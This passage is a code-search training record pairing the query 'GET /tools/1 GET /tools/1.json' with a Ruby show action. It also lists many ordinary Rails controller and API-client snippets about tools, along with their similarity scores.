include_restricted_tools.nil?\n path += \"bookmark=#{bookmark}\" unless bookmark == ''\n _get(path)\n # RETURNS: paged result set containing the resulting OrgInformation data blocks\nend", "def tools\n @tools ||= TOOLS\n end", "def get_org_tool_info(tool_id)\n path = \"GET /d2l/api/lp/#{$lp_ver}/tools/org/#{tool_id}\"\n _get(path)\n # RETURNS: an OrgInformation JSON block\nend", "def external_tools_list\n all_tools = []\n params = 'per_page=100'\n while params do\n response = request_uncached(\n \"accounts/#{settings.account_id}/external_tools?#{params}\",\n \"_external_tools\"\n )\n break unless (response && response.status == 200 && list = safe_json(response.body))\n all_tools.concat(list)\n params = next_page_params(response)\n end\n all_tools\n end", "def new\n @tool = Tool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def index\n @tool_parts = ToolPart.includes{tool_part_items}.accessible_by(current_ability).search(params[:search]).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tool_parts }\n format.xml { render xml: @tool_parts }\n end\n end", "def show\n # Grab the relevant tool from the database using the id passed in the params\n @tool = Tool.find(params[:id])\n # Initialize variable for filtering\n @tools = []\n\n # Finding related tools\n # Loop through the tool's categories\n @tool.categories.each do |category|\n # Loop through the current category's tools\n category.tools.each do |tool|\n # For each tool that is available, store.\n if tool.availability == true\n @tools << tool\n end\n end\n end\n\n # Make sure we've got enough tools, otherwise grab latest.\n if @tools.length < 4\n # Grabs the last four tools in the database based on their order (in this case, creation date)\n @tools = Tool.last(4)\n else\n @tools.uniq!.last(4)\n end\n end", "def test\n get(\"/help/test.json\")\n end", "def test\n get(\"/help/test.json\")\n end", "def my_tools\n # Checks the user is an Owner\n if can? :create, Tool\n # Pass through their own tools as instance variable by searching the database for all records that match the user id.\n @tools = Tool.where(user_id: current_user.id)\n else\n # Failed Permissions check redirect\n redirect_to('/browse', alert: 'You do not have permissions to view that page.')\n end\n end", "def show\n @tooling_specification = ToolingSpecification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tooling_specification }\n end\n end", "def show\n @tool_specialty_option = ToolSpecialtyOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool_specialty_option }\n end\n end", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def create\n @tool = Tool.new(tool_params)\n if @tool.save\n render json: @tool, status: :created\n end\n end", "def new\n @breadcrumb = 'create'\n @tool = Tool.new\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def index\n @all = Tool.all\n end", "def getToolsSyndicateYalwa( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/yalwa\",params)\n end", "def search\n @tool = []\n @tools = Tool.all.each do |tool|\n if tool[:tags].include?(params[:q])\n @tool.append(tool)\n end\n end\n render json: @tool\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool_part }\n format.xml { render xml: @tool_part }\n end\n end", "def get_org_enabled_tools_info(org_unit_id, bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/tools/orgUnits/#{org_unit_id}?\"\n path += \"bookmark=#{bookmark}\" unless bookmark == ''\n _get(path)\nend", "def getBusiness_tool( tool_id)\n params = Hash.new\n params['tool_id'] = tool_id\n return doCurl(\"get\",\"/business_tool\",params)\n end", "def hardhats_only\n @tools = Tool.hardhats.by_barcode.paginate(:page => params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # hardhats.html.erb\n format.json { render json: @tools }\n end\n end", "def list_tools_for_site( site_id )\n client = prepare_request( @service_wsdl )\n\n begin\n response = client.request :get_pages_and_tools_for_site do |soap|\n soap.body = {:sessionid => @session, :siteid => site_id}\n end\n rescue ArgumentError, \"Wasabi needs a WSDL document\"\n raise StandardError, \"Incorrect login url supplied.\"\n rescue Errno::ECONNREFUSED => error\n raise \"Server doesn't seem to be there: #{error.to_s}\"\n rescue Savon::SOAP::Fault => fault\n raise fault.to_s\n rescue\n end\n\n\n tool_list = Nokogiri::XML.parse(\n response.to_hash[:get_pages_and_tools_for_site_response][:get_pages_and_tools_for_site_return])\n tool_array = Array.new\n\n tool_list.css(\"tools > tool\").each do |tool|\n tool_array << {:title => tool.css(\"tool-title\").inner_text, :id => tool.css(\"tool-id\").inner_text}\n end\n\n return tool_array\n end", "def getToolsSyndicate118( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/118\",params)\n end", "def get_org_enabled_tool_info(org_unit_id, tool_id)\n path = \"/d2l/api/lp/#{$lp_ver}/tools/orgUnits/#{org_unit_id}/#{tool_id}\"\n _get(path)\nend", "def create\n @tool = Tool.new(tool_params)\n @tool_fetch = GithubManager::ToolFetcher.call @tool\n\n respond_to do |format|\n if @tool_fetch.success\n @tool.json_spec = @tool_fetch.json_raw\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n end\n elsif @tool_fetch.json_invalid\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} format is invalid\"\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n else\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} failed to download\"\n format.html { render :new, status: :internal_server_error }\n format.json { render json: @tool.errors, status: :internal_server_error }\n end\n end\n end", "def index\n @tool_types = ToolType.all\n end", "def index\n @toolings = Tooling.all\n end", "def tool_params\n params.require(:tool).permit(:name, :language, :json_spec)\n end", "def show\n @rubygem = Rubygem.find(params[:id])\n\n render json: @rubygem\n end", "def show\n @commander = Commander.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commander }\n end\n end", "def index\n manage_filter_state\n # OCO\n init_oco if !session[:organization]\n\n @search = Tool.search do\n fulltext params[:search]\n if session[:organization] != '0'\n with :organization_id, session[:organization]\n end\n if session[:company] != '0'\n any_of do\n with :company_id, session[:company]\n with :company_id, nil\n end\n end\n if session[:office] != '0'\n any_of do\n with :office_id, session[:office]\n with :office_id, nil\n end\n end\n order_by :serial_no, :asc\n paginate :page => params[:page] || 1, :per_page => per_page\n end\n @tools = @search.results\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n format.js\n end\n end", "def index\n @total = Tool.count\n @tools = Tool.paginated_with_owner(order: @order, limit: @items, start: @start)\n end", "def index\n @compliance_tools = ComplianceTool.all\n end", "def getToolsLess( less)\n params = Hash.new\n params['less'] = less\n return doCurl(\"get\",\"/tools/less\",params)\n end", "def get_json()\n\n http = Net::HTTP.new(STATUS_URI.host, STATUS_URI.port)\n http.use_ssl = false\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(\"/api/services.json\")\n\n response = http.request(request)\n JSON.parse(response.body)\nend", "def show\n @other_tools = @tool.others_from_this_owner\n @collaborators = @tool.collaborators\n end", "def getToolsReindex()\n params = Hash.new\n return doCurl(\"get\",\"/tools/reindex\",params)\n end", "def getdifficulty\n @api.request 'getdifficulty'\n end", "def getToolsCrash()\n params = Hash.new\n return doCurl(\"get\",\"/tools/crash\",params)\n end", "def get_lesson_types\n get \"lessonTypes.json\"\n end", "def show\n @tool = Tool.find_by!(slug: params[:tool])\n end", "def getToolsSyndicateYasabe( entity_id, destructive)\n params = Hash.new\n params['entity_id'] = entity_id\n params['destructive'] = destructive\n return doCurl(\"get\",\"/tools/syndicate/yasabe\",params)\n end", "def create\n @breadcrumb = 'create'\n @tool = Tool.new(params[:tool])\n @tool.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: crud_notice('created', @tool) }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n puts JSON.pretty_generate(result)\n result\nend", "def getToolsDocs( object, format)\n params = Hash.new\n params['object'] = object\n params['format'] = format\n return doCurl(\"get\",\"/tools/docs\",params)\n end", "def getToolsUrl_details( url, max_redirects)\n params = Hash.new\n params['url'] = url\n params['max_redirects'] = max_redirects\n return doCurl(\"get\",\"/tools/url_details\",params)\n end", "def game\n @level = Level.find(params[:id])\n\n @items = []\n @tools = []\n State.all.each do |state| \n if state.state_category.name == \"Tools\"\n @tools << state\n else\n @items << state\n end\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @level }\n end\n end", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "def get_json(path)\n puts \"*** GET #{path}\"\n\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n puts \"HTTP #{response.code}\"\n\n #puts JSON.pretty_generate(result)\n result\nend", "def update\n @tool = Tool.find(params[:id])\n @user = current_user\n @tool.user_id = @user.id\n @user.tools << @tool\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def tool(name, tools = [])\n get name => \"#{name}#editor\"\n \n if (!tools || tools.empty?)\n post name => \"#{name}##{name}\"\n else\n tools.each { |t| post \"#{name}/#{t}\" => \"#{name}##{t}\" }\n end\n end", "def get_loyalty_programs_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementApi.get_loyalty_programs ...'\n end\n # resource path\n local_var_path = '/v1/loyalty_programs'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'InlineResponse20011' \n\n # auth_names\n auth_names = opts[:auth_names] || ['management_key', 'manager_auth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementApi#get_loyalty_programs\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @tool = Tool.new(params[:tool])\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n authorize @s_tool\n set_return_to\n @return_to = get_return_to_or_default s_tools_url\n end", "def get_work_json\n client.make_request('/get-work-json', 'post', params: {})\n end", "def create\n @tool = Tool.new(tool_params)\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n else\n format.html { render :new }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n\t\tif params[:tcat1].blank?\n\t\t\t@tools=Tool.all.order(\"created_at DESC\")\n\t\telse \n\t\t\tif params[:tcat2].blank?\n\t\t\t\t@toolcategory_id = Toolcategory.where(level1: params[:tcat1]).ids\n\t\t\t\t@tools = Tool.where(:toolcategory_id => @toolcategory_id)\n\t\t\telse\n\t\t\t\t@toolcategory_id = Toolcategory.find_by(level1: params[:tcat1], level2: params[:tcat2],level3: params[:tcat3]).id\t\n\t\t\t\t@tools = Tool.where(:toolcategory_id => @toolcategory_id)\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t#if user is admin render admin else tool\n\t\trender layout: \"applicationtool\"\n\tend", "def get_json(path)\n response = Net::HTTP.get_response(build_uri(path))\n result = JSON.parse(response.body)\n #puts \"🤖 GET #{path}\"\n #puts \"HTTP #{response.code}\"\n #puts JSON.pretty_generate(result)\n result\nend", "def index\n scope = tools.search(params[:search])\n if params[:a].present?\n user_ids = User.current.with_name(params[:a].to_s.split(\",\"))\n scope = scope.where(user_id: user_ids.select(:id))\n end\n scope = scope.where(tag_program: true) if params[:type] == \"program\"\n scope = scope.where(tag_script: true) if params[:type] == \"script\"\n scope = scope.where(tag_tutorial: true) if params[:type] == \"tutorial\"\n @tools = scope_order(scope).page(params[:page]).per(20)\n end", "def index\n @need_helps = NeedHelp.all\n\n respond_to do |format|\n format.json {render :json => @need_helps.to_json(:include => [:need_help_category,\n :user => {:include => :street}])}\n end\n end", "def show\n @tower = Tower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tower }\n end\n end", "def getdifficulty\n request :getdifficulty\n end", "def get_programs\n uri = URI.parse(URL)\n response = Net::HTTP.get_response(uri)\n response.body\n end", "def create\n @tool = Tool.new(tool_params)\n user = User.find(params[:user_id])\n @tool.user_id = current_user.id\n respond_to do |format|\n if @tool.save\n format.html { redirect_to user_tools_path, notice: 'Tool was successfully added.' }\n format.json { render :show, status: :created, location: @tool }\n else\n format.html { render :new }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def info( opts = {} )\n http_action :get, nil, opts\n end", "def get\n @get ||= Verb.new do |verb|\n verb.entity :air, :lodging, :car, :rail, :transport, \\\n :cruise, :restaurant, :activity, :note, :map, :directions, \\\n :points_program \\\n do |entity, id|\n do_request('get', entity, {:id=>id}, nil)\n end\n\n verb.entity :profile do |*args|\n entity = args[0]\n do_request('get', entity, nil, nil)\n end\n\n verb.entity :trip do |*args|\n entity, id, filter = args\n if filter.nil?\n filter = {}\n end\n filter[:id] = id\n do_request('get', entity, filter, nil)\n end\n end\n end", "def get_api_json\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n JSON.parse(response_string)\nend", "def new\n @tool_specialty_option = ToolSpecialtyOption.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool_specialty_option }\n end\n end", "def index\n @warriors = Warrior.all\n render :json => @warriors, :include => [:skills, :equipment_lists,]\n\n end", "def index\n @commands = Command.all\n render :json => @commands\n end", "def getToolsIodocs( mode, path, endpoint, doctype)\n params = Hash.new\n params['mode'] = mode\n params['path'] = path\n params['endpoint'] = endpoint\n params['doctype'] = doctype\n return doCurl(\"get\",\"/tools/iodocs\",params)\n end", "def show\n render :json => @equipment_list, :include => [:weapons, :armours, :equipments]\n end", "def tool_params\n params.require(:tool).permit(:name, :serial, :model, :location, :location_id, :category_id, :purchased, :cost, :value, :put_in_service, :loaner, :in_service, :retired, :condition, :annual_service, :note, :tab)\n end", "def new\n @tooling_specification = ToolingSpecification.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tooling_specification }\n end\n end", "def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end", "def index\n @admin_skills = Admin::Skill.all\n\n render json: @admin_skills\n end", "def create\n @tool = current_user.tools.build(tool_params)\n @user = current_user\n\n if @tool.save\n redirect_to(\n tools_user_path(@tool.owner),\n notice: t(\"tool.created\", name: @tool.name)\n )\n else\n render :new\n end\n end", "def api_v11_tools_echo_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_tools_echo_get ...\"\n end\n \n # resource path\n path = \"/api/v11/tools/echo\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'message'] = opts[:'message'] if opts[:'message']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_tools_echo_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def search_course_tools_best_bets\n if course_tools_matches.blank?\n return nil\n else\n curriculum_code = course_tools_matches[:curriculum_code].upcase\n course_number = course_tools_matches[:course_number]\n result = OpenStruct.new\n result.title = \"Library Tools for #{curriculum_code} #{course_number}\"\n result.link = APP_CONFIG['best_bets']['course_tools_link_base'] + \"#{curriculum_code}/#{course_number}\"\n result.description = 'Get E-Reserves, Citation Builder, Article Search, and more for your course.'\n result.id = \"course-tools-#{curriculum_code}-#{course_number}\"\n result.best_bets_type = 'best-bets-course-tools'\n end\n @response = result\n end", "def index\n @commanders = Commander.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commanders }\n end\n end", "def new\n @tool = current_user.tools.new\n @user = current_user\n end", "def show\n render json: @stage_common_option\n end" ]
[ "0.7383548", "0.6811416", "0.6811416", "0.67649484", "0.67572916", "0.656256", "0.65350896", "0.6503073", "0.64969736", "0.6345333", "0.6335218", "0.6295492", "0.62290937", "0.6200651", "0.61389726", "0.6137426", "0.61147624", "0.61056083", "0.6074838", "0.59707355", "0.59628135", "0.5936296", "0.5936296", "0.5895793", "0.58413804", "0.5805343", "0.58004504", "0.5790878", "0.5734838", "0.5730022", "0.5729111", "0.5726893", "0.5719756", "0.57178104", "0.5705638", "0.56954134", "0.5684625", "0.5678633", "0.5674604", "0.56703216", "0.56348616", "0.5614908", "0.55974585", "0.5592808", "0.5588602", "0.55816287", "0.5581418", "0.55728334", "0.55706596", "0.55659056", "0.55529845", "0.55220455", "0.5498765", "0.5487597", "0.5487243", "0.54846424", "0.546949", "0.54557717", "0.5442833", "0.53921074", "0.5390287", "0.5389792", "0.5380766", "0.5380766", "0.5361903", "0.5354678", "0.5345569", "0.53398204", "0.53388494", "0.53319246", "0.5331473", "0.5328239", "0.5326053", "0.5308394", "0.530669", "0.5304443", "0.52637285", "0.5262031", "0.526184", "0.5256652", "0.52322763", "0.52278906", "0.52277595", "0.5220485", "0.52156883", "0.5215555", "0.5213257", "0.52125174", "0.5198898", "0.51930654", "0.5187726", "0.51847893", "0.5182459", "0.51817435", "0.51793736", "0.5178831", "0.5178051" ]
0.66524005
7
GET /tools/1 GET /tools/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @tools = Tool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def show\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n @breadcrumb = 'read'\n @tool = Tool.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool }\n end\n end", "def index\n @tools = Tool.all\n end", "def index\n @tools = Tool.all\n end", "def index\n @tools = Tool.all\n end", "def index\n @tools = Tool.all\n end", "def show\n @tools = @tool_type.tools\n end", "def get_tool\n @tool = Tool.find(params[:tool_id])\n end", "def index\n @tools = Tool.all\n\n end", "def index\n @user = User.find(params[:id])\n @tool = Tool.find(@user.tool_id)\n @tools = Tool.all\n end", "def index\n if params.has_key?(:tag)\n if !tool_search.empty?\n @tools = tool_search.paginate(page: params[:page], per_page: 10)\n json_response(@tools)\n else\n json_response([], :not_found)\n end\n else\n @tools = current_user.tools.paginate(page: params[:page], per_page: 10)\n json_response(@tools)\n end\n end", "def index\n @tools = Tool.just_tools.by_barcode.paginate(:page => params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tools }\n end\n end", "def tools_all\n @work_order_tools = WorkOrderTool.by_id\n render json: serialized_work_order_tools(@work_order_tools)\n end", "def index\n # Grabs the relevant tools from the database by checking for the availability relation status.\n @tools = Tool.where(availability: true)\n end", "def index\n @current_params = tool_index_params\n\n @tools = if @current_params[:order] == \"created_at\"\n Tool.order(:created_at)\n else\n Tool.order(:name)\n end\n\n if @current_params[:q].present?\n @tools = @tools.search(@current_params[:q])\n end\n\n if Tool::ALLOWED_TYPES.include?(@current_params[:type])\n @tools = @tools.where(type: @current_params[:type])\n end\n\n @tools = @tools.page(@current_params[:page]).per(20)\n\n respond_to do |format|\n format.html\n format.atom\n end\n end", "def new\n @tool = Tool.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def show\n # Grab the relevant tool from the database using the id passed in the params\n @tool = Tool.find(params[:id])\n # Initialize variable for filtering\n @tools = []\n\n # Finding related tools\n # Loop through the tool's categories\n @tool.categories.each do |category|\n # Loop through the current category's tools\n category.tools.each do |tool|\n # For each tool that is available, store.\n if tool.availability == true\n @tools << tool\n end\n end\n end\n\n # Make sure we've got enough tools, otherwise grab latest.\n if @tools.length < 4\n # Grabs the last four tools in the database based on their order (in this case, creation date)\n @tools = Tool.last(4)\n else\n @tools.uniq!.last(4)\n end\n end", "def get_org_tool_info(tool_id)\n path = \"GET /d2l/api/lp/#{$lp_ver}/tools/org/#{tool_id}\"\n _get(path)\n # RETURNS: an OrgInformation JSON block\nend", "def show\n @tooling_specification = ToolingSpecification.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tooling_specification }\n end\n end", "def show\n @tool_specialty_option = ToolSpecialtyOption.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool_specialty_option }\n end\n end", "def show\n @tool = Tool.find_by!(slug: params[:tool])\n end", "def show\n @commander = Commander.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commander }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tool_part }\n format.xml { render xml: @tool_part }\n end\n end", "def index\n @tool_parts = ToolPart.includes{tool_part_items}.accessible_by(current_ability).search(params[:search]).page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tool_parts }\n format.xml { render xml: @tool_parts }\n end\n end", "def create\n @tool = Tool.new(tool_params)\n if @tool.save\n render json: @tool, status: :created\n end\n end", "def new\n @breadcrumb = 'create'\n @tool = Tool.new\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tool }\n end\n end", "def getBusiness_tool( tool_id)\n params = Hash.new\n params['tool_id'] = tool_id\n return doCurl(\"get\",\"/business_tool\",params)\n end", "def show\n @rubygem = Rubygem.find(params[:id])\n\n render json: @rubygem\n end", "def index\n @all = Tool.all\n end", "def get_org_tools_info(include_restricted_tools = nil, bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/tools/org/?\"\n path += \"includeRestrictedTools=#{includeRestrictedTools}&\" unless include_restricted_tools.nil?\n path += \"bookmark=#{bookmark}\" unless bookmark == ''\n _get(path)\n # RETURNS: paged result set containing the resulting OrgInformation data blocks\nend", "def my_tools\n # Checks the user is an Owner\n if can? :create, Tool\n # Pass through their own tools as instance variable by searching the database for all records that match the user id.\n @tools = Tool.where(user_id: current_user.id)\n else\n # Failed Permissions check redirect\n redirect_to('/browse', alert: 'You do not have permissions to view that page.')\n end\n end", "def getToolsReindex()\n params = Hash.new\n return doCurl(\"get\",\"/tools/reindex\",params)\n end", "def getToolsSyndicate118( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/118\",params)\n end", "def set_tool\n @tool = Tool.find(params[:id])\n end", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def create\n @tool = Tool.new(tool_params)\n @tool_fetch = GithubManager::ToolFetcher.call @tool\n\n respond_to do |format|\n if @tool_fetch.success\n @tool.json_spec = @tool_fetch.json_raw\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n end\n elsif @tool_fetch.json_invalid\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} format is invalid\"\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n else\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} failed to download\"\n format.html { render :new, status: :internal_server_error }\n format.json { render json: @tool.errors, status: :internal_server_error }\n end\n end\n end", "def test\n get(\"/help/test.json\")\n end", "def test\n get(\"/help/test.json\")\n end", "def show\n @other_tools = @tool.others_from_this_owner\n @collaborators = @tool.collaborators\n end", "def tools\n @tools ||= TOOLS\n end", "def show\n authorize @s_tool\n set_return_to\n @return_to = get_return_to_or_default s_tools_url\n end", "def index\n @toolings = Tooling.all\n end", "def update\n @tool = Tool.find(params[:id])\n @user = current_user\n @tool.user_id = @user.id\n @user.tools << @tool\n\n respond_to do |format|\n if @tool.update_attributes(params[:tool])\n format.html { redirect_to @tool, notice: 'Tool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_tool\n @tool = Tool.find(params[:id])\n end", "def set_tool\n @tool = Tool.find(params[:id])\n end", "def index\n @tool_types = ToolType.all\n end", "def hardhats_only\n @tools = Tool.hardhats.by_barcode.paginate(:page => params[:page]).per_page(10)\n\n respond_to do |format|\n format.html # hardhats.html.erb\n format.json { render json: @tools }\n end\n end", "def get_org_enabled_tools_info(org_unit_id, bookmark = '')\n path = \"/d2l/api/lp/#{$lp_ver}/tools/orgUnits/#{org_unit_id}?\"\n path += \"bookmark=#{bookmark}\" unless bookmark == ''\n _get(path)\nend", "def getToolsSyndicateYalwa( entity_id)\n params = Hash.new\n params['entity_id'] = entity_id\n return doCurl(\"get\",\"/tools/syndicate/yalwa\",params)\n end", "def getToolsLess( less)\n params = Hash.new\n params['less'] = less\n return doCurl(\"get\",\"/tools/less\",params)\n end", "def index\n @total = Tool.count\n @tools = Tool.paginated_with_owner(order: @order, limit: @items, start: @start)\n end", "def index\n @compliance_tools = ComplianceTool.all\n end", "def get_org_enabled_tool_info(org_unit_id, tool_id)\n path = \"/d2l/api/lp/#{$lp_ver}/tools/orgUnits/#{org_unit_id}/#{tool_id}\"\n _get(path)\nend", "def create\n @breadcrumb = 'create'\n @tool = Tool.new(params[:tool])\n @tool.created_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: crud_notice('created', @tool) }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n @companies = companies_dropdown\n @offices = offices_dropdown\n @products = products_dropdown\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_tools\n @site_data[\"site\"][\"node\"].each do | node |\n return node[\"tools\"] if node[\"node_name\"] == @node_name\n end\n return []\n end", "def create\n @tool = Tool.new(params[:tool])\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render json: @tool, status: :created, location: @tool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def external_tools_list\n all_tools = []\n params = 'per_page=100'\n while params do\n response = request_uncached(\n \"accounts/#{settings.account_id}/external_tools?#{params}\",\n \"_external_tools\"\n )\n break unless (response && response.status == 200 && list = safe_json(response.body))\n all_tools.concat(list)\n params = next_page_params(response)\n end\n all_tools\n end", "def index\n\t\tif params[:tcat1].blank?\n\t\t\t@tools=Tool.all.order(\"created_at DESC\")\n\t\telse \n\t\t\tif params[:tcat2].blank?\n\t\t\t\t@toolcategory_id = Toolcategory.where(level1: params[:tcat1]).ids\n\t\t\t\t@tools = Tool.where(:toolcategory_id => @toolcategory_id)\n\t\t\telse\n\t\t\t\t@toolcategory_id = Toolcategory.find_by(level1: params[:tcat1], level2: params[:tcat2],level3: params[:tcat3]).id\t\n\t\t\t\t@tools = Tool.where(:toolcategory_id => @toolcategory_id)\n\t\t\tend\n\t\t\t\n\t\tend\n\t\t#if user is admin render admin else tool\n\t\trender layout: \"applicationtool\"\n\tend", "def show\n @tower = Tower.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @tower }\n end\n end", "def create\n @tool = Tool.new(tool_params)\n\n respond_to do |format|\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n else\n format.html { render :new }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @user = User.find(params[:user_id])\n @mine = @user.mines.first\n @tool = Tool.find(@user.tool_id)\n @curr_tool_name = @tool.name\n end", "def tool(name, tools = [])\n get name => \"#{name}#editor\"\n \n if (!tools || tools.empty?)\n post name => \"#{name}##{name}\"\n else\n tools.each { |t| post \"#{name}/#{t}\" => \"#{name}##{t}\" }\n end\n end", "def new\n @tool 